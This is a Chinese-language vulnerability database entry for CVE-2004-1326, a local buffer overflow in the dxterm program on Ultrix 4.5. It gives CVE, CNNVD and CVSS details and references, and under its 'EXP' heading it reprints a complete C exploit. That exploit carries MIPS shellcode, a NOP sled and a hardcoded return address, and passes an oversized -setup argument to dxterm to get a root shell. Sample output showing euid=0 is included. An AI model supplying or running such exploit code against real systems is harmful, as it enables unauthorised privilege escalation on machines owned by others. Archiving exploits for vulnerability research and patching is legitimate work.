Ultrix DXTerm设置参数 本地缓冲区溢出漏洞

Ultrix DXTerm设置参数 本地缓冲区溢出漏洞

漏洞ID 1108381 漏洞类型 缓冲区溢出
发布时间 2004-12-20 更新时间 2005-10-20
图片[1]-Ultrix DXTerm设置参数 本地缓冲区溢出漏洞-安全小百科CVE编号 CVE-2004-1326
图片[2]-Ultrix DXTerm设置参数 本地缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200412-079
漏洞平台 ULTRIX CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/698
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200412-079
|漏洞详情
Ultrix4.5版本的dxterm存在缓冲区溢出漏洞。本地用户借助超长的-setup参数执行任意代码。
|漏洞EXP
/* Ultrix 4.5/MIPS dxterm exploit
  by ztion in 2004
  Greets to: Stok, sidez

  It wasn't possible to use '/' in the shellcode. Probably dxterm only
  copies everything after the last slash, as it expects a path.
  Since everything is pretty much hardcoded, you will probably have to
  tweak it for versions other than 4.5

  nora> ./ultrix_dxterm_4.5_exploit
  $ id
  uid=268(ztion) gid=15(users)euid=0(root)
*/

#include <stdio.h>

#define NOP 0x25f8e003
#define RET 0x7fffbe90

char shellcode[] = {
       0x69,0x6e,0x19,0x3c,    /* lui   $t9, 0x6e69 */
       0x2e,0x61,0x39,0x37,    /* ori   $t9, $t9, 0x612e */
       0x38,0x01,0xb6,0x23,    /* addi  $s6, $sp, 312 */
       0x01,0x01,0x39,0x23,    /* addi  $t9, $t9, 0x0101 */
       0xf0,0xfe,0xd9,0xae,    /* sw    $t9, -272($s6) */
       0x73,0x68,0x19,0x3c,    /* lui   $t9, 0x6873 */
       0x11,0x11,0x06,0x24,    /* li    $a2, 0x1111 */
       0x11,0x11,0xc6,0x38,    /* xori  $a2, $a2, 0x1111 */
       0x2e,0x2e,0x39,0x37,    /* ori   $t9, $t9, 0x2e2e */
       0xf0,0xfe,0xc4,0x26,    /* addiu $a0, $s6, -272 */
       0x01,0x01,0x39,0x23,    /* addi  $t9, $t9, 0x0101 */
       0x3f,0x01,0x02,0x24,    /* li    $v0, 319 */
       0xfc,0xfe,0x42,0x20,    /* addi  $v0, $v0, -260 */
       0xf4,0xfe,0xd9,0xae,    /* sw    $t9, -268($s6) */
       0xe8,0xfe,0xc4,0xae,    /* sw    $a0, -280($s6) */
       0xf8,0xfe,0xc6,0xae,    /* sw    $a2, -264($s6) */
       0xec,0xfe,0xc6,0xae,    /* sw    $a2, -276($s6) */
       0xe8,0xfe,0xc5,0x26,    /* addiu $a1, $s6, -280 */
       0xcc,0xff,0xff,0x01     /* syscall */

};

int main(void)
{
       char buf[256];
       int i;

       memset (buf, 2, 255);
       i = 0;
       while (i <= 8) {
               ((int *)(buf+1))[i] = NOP;
               i++;
       }

       memcpy (buf+33, shellcode, sizeof(shellcode));

       ((int *)(buf+3))[29] = RET;
       /* 119 - 122 is the return address */
       buf[123] = '';

       execl ("/usr/bin/dxterm", "dxterm", "-display", "localhost:0", "-setup", buf, NULL);
}

// milw0rm.com [2004-12-20]
|参考资料

来源:XF
名称:ultrix-dxterm-bo(18613)
链接:http://xforce.iss.net/xforce/xfdb/18613
来源:BID
名称:12049
链接:http://www.securityfocus.com/bid/12049
来源:www.frsirt.com
链接:http://www.frsirt.com/exploits/20041220.ultrix_dxterm_4.5_exploit.c.php
来源:BUGTRAQ
名称:20041219ExploitforUltrix4.5dxterm
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110356470029424&w;=2

相关推荐: Phorum Post.PHP Cross-Site Scripting Vulnerability

Phorum Post.PHP Cross-Site Scripting Vulnerability 漏洞ID 1100317 漏洞类型 Input Validation Error 发布时间 2003-05-13 更新时间 2003-05-13 CVE编号 …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享